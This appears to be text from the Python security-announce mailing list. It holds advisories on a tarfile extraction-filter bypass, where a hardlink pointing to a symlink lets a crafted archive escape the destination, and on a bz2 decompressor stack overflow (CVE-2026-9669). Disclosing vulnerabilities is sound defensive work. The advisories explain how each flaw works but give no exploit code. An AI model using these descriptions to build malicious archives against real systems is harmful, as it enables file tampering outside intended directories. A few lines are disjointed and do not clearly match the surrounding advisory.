Security-announce mailing list -- security-announce () python org https://mail.python.org/mailman3//lists/security-announce.python.org
tarfile.extractall() with the 'data' or 'tar' filter could be bypassed by a crafted archive where a hardlink references a symlink stored at a deeper name than the hardlink itself. The extraction fallback validated the symlink at it's archived location but recreated it at the hardlink's shallower path, letting a relative target the filter judged contained escape the destination directory. This allowed a malicious tar archive to create a symlink pointing outside the destination, enabling out-of-destination file reads or writes. This was an incomplete fix of CVE-2025-4330.
CPython >3.11 Insecure Input Validation resulting in privilege escalation
The CVE record currently lists versions "affected from 0 before 3.16.0"
-------- Forwarded Message -------- Subject: [Security-announce][CVE-2026-9669] bz2.BZ2Decompressor reuse after error can cause a stack buffer overflow Date: Mon, 8 Jun 2026 13:07:31 -0700 From: Emma Smith <emma () emmatyping dev> Reply-To: security-sig () python org To: security-announce () python org
There is a HIGH severity vulnerability affecting CPython.
bz2.BZ2Decompressor objects could be reused after a decompression error. If an application caught the resulting OSError and retried with the same decompressor, crafted input could cause the decompressor to resume from an invalid internal state and perform out-of-bounds writes to a stack buffer. This could crash the process when processing untrusted data.
Please see the linked CVE ID for the latest information on affected versions:
https://www.cve.org/CVERecord?id=CVE-2026-9669 https://github.com/python/cpython/pull/150600
Security-announce mailing list -- security-announce () python org https://mail.python.org/mailman3//lists/security-announce.python.org